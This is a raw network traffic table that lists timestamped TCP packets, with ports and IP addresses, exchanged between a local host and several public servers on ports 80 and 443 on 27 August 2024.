Aug 27, 2024 09:49:43.621532917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621532917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621545076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621556997 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621573925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621582985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621680975 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621690989 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621701002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621712923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621722937 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621728897 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621733904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621747971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621752977 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621759892 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621769905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621774912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621788025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621793985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621803045 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621814013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621819973 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621840954 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621862888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621874094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621885061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621896029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621906996 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.621911049 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621936083 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.621949911 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622044086 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622055054 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622065067 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622076035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622087955 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622096062 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622100115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622112036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622119904 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622124910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622133017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622138023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622149944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622162104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622170925 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622174978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622193098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622219086 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622299910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622322083 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622333050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622361898 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.622368097 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622379065 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622385025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622392893 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.622443914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.623281002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.623292923 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.623303890 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.623316050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.623327971 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.623330116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.623339891 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.623342991 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.623366117 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.623379946 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.623429060 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.706746101 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.706769943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.706780910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.706839085 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.706870079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.706882000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.706935883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.706935883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.706935883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.706964016 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707015038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707026005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707060099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.707137108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707166910 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707178116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707185030 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.707191944 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707206964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707217932 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.707245111 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.707273960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707285881 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707295895 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707305908 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.707323074 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.707351923 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708208084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708252907 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708265066 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708302021 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708311081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708323002 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708336115 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708347082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708354950 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708369017 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708451986 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708462954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708473921 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708492041 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708503008 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708507061 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708522081 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708547115 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708646059 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708657026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708667040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708678007 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708693981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708694935 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708707094 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708720922 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708728075 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708733082 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708745003 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708750010 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708755970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708776951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708801985 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708852053 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708873034 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708884954 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708897114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708911896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.708918095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.708937883 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709126949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709137917 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709148884 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709171057 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709172010 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709183931 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709192991 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709196091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709208012 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709218979 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709227085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709230900 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709242105 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709244013 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709254026 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709264040 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709266901 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709279060 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709290028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709301949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709305048 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709315062 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709327936 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709328890 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709338903 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709340096 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709350109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709361076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709368944 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709373951 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709395885 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709397078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709403992 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709741116 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709753036 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709763050 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709769011 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709779978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709788084 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709790945 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709800959 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709803104 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709815025 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709825993 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709830999 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709836960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709849119 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709850073 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709867001 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709875107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709886074 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709892035 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709898949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709911108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709923029 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709933043 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709935904 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709947109 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.709958076 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.709970951 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710005999 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710030079 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710042000 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710048914 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710052013 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710067987 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710078955 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710086107 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710098028 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710105896 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710109949 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710122108 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710133076 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710139990 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710145950 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710158110 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710164070 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710167885 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710187912 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710207939 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710339069 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710350037 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710361004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710372925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710383892 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710385084 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710397005 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710410118 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710422039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710449934 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710477114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710489035 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710504055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710515976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710525036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710526943 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710539103 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710549116 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710551977 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:43.710571051 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:43.710596085 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038315058 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038340092 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038352966 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038363934 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038377047 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038388014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038400888 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038486004 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038497925 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038511038 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038520098 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038522959 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038535118 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038547039 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038558960 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038567066 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038588047 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038605928 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038616896 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038629055 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038640976 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038652897 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038667917 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038690090 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038762093 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038774014 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038784981 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038795948 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038813114 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038814068 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038824081 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038834095 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038841009 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038846970 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038858891 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038861036 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038876057 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038883924 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038887978 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038901091 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038913965 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038922071 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038927078 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.038942099 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.038969994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.039051056 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.039062023 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.039079905 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.039088964 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.039098024 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.039104939 CEST	80	49715	188.114.96.3	192.168.2.8
Aug 27, 2024 09:49:44.039391994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:49:44.039391994 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:50:01.368804932 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:01.368853092 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:01.368918896 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:01.398051023 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:01.398083925 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:01.688232899 CEST	49714	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:50:01.688370943 CEST	49715	80	192.168.2.8	188.114.96.3
Aug 27, 2024 09:50:01.887974977 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:01.888092041 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:01.893033028 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:01.893043041 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:01.893275023 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:01.945527077 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:02.261841059 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:02.261888981 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:02.261997938 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:02.915967941 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:02.916064024 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:02.916125059 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:02.917200089 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:02.917217970 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:02.917231083 CEST	49716	443	192.168.2.8	104.21.17.45
Aug 27, 2024 09:50:02.917237997 CEST	443	49716	104.21.17.45	192.168.2.8
Aug 27, 2024 09:50:03.012399912 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:03.012442112 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:03.012528896 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:03.012842894 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:03.012856007 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:03.766983032 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:03.767101049 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:03.768779993 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:03.768784046 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:03.768985987 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:03.770278931 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:03.770312071 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:03.770317078 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:04.491734982 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:04.491822004 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:04.491893053 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:04.502073050 CEST	49717	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:04.502080917 CEST	443	49717	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:04.624492884 CEST	49718	443	192.168.2.8	104.26.7.127
